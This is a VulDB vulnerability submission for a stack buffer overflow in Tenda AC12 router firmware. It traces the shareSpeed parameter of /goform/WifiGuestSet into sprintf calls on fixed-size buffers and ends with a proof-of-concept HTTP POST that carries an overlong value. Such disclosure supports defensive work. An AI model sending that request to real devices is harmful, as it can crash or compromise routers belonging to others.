Enviar #868921: Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda AC12 US_AC1206V1.0RTL_V15.03.06.23_multi_TD01.bin. Attackers can exploit this vulnerability by specifying the value of shareSpeed. When shareSpeed is passed from fromSetWifiGusetBasic through set_wl_guest_qos_list to set_wl_guest_iplist and formatted into fixed-size stack buffers by sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/WifiGuestSet, registered as:
websFormDefine("WifiGuestSet", (void (*)(webs_t, char_t *, char_t *))fromSetWifiGusetBasic);

In fromSetWifiGusetBasic, the attacker-controlled shareSpeed parameter is read from the HTTP request:
shared_down_speed = websGetVar(wp, "shareSpeed", "0");

The value is passed into set_wl_guest_qos_list:
set_wl_guest_qos_list(shared_up_speed, shared_down_speed);

set_wl_guest_qos_list passes it into set_wl_guest_iplist:
set_wl_guest_iplist(shared_up_speed, shared_down_speed);

In set_wl_guest_iplist, the value reaches fixed-size stack buffers:
char qos_iprule[128];
char mib_value[256];
char buf[256];

The user-controlled down_speed value is formatted without length validation:
sprintf(qos_iprule, "%d;%s;%s;%s", 1, dev_id, up_speed, down_speed);
sprintf(buf, "%s;1;0;0;1;%s;%s", qos_iprule, wl_guest_startip, wl_guest_endip);

Because sprintf writes attacker-controlled shareSpeed/down_speed data into fixed-size stack buffers, an overly long shareSpeed value can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/WifiGuestSet HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

guestEn=1&guestEn_5g=1&effectiveTime=4&shareSpeed=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

• Fuente: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/AC12/2.md
• Usuario: stksgg (UID 97520)
• Sumisión: 2026-06-25 09:02 (hace 2 meses)
• Moderación: 2026-08-13 20:48 (2 months later)
• Estado: Aceptado
• Entrada de VulDB: 389756 [Tenda AC1206 15.03.06.23_multi_TD01 httpd web management interface /goform/WifiGuestSet set_wl_guest_iplist shareSpeed desbordamiento de búfer]
• Puntos: 20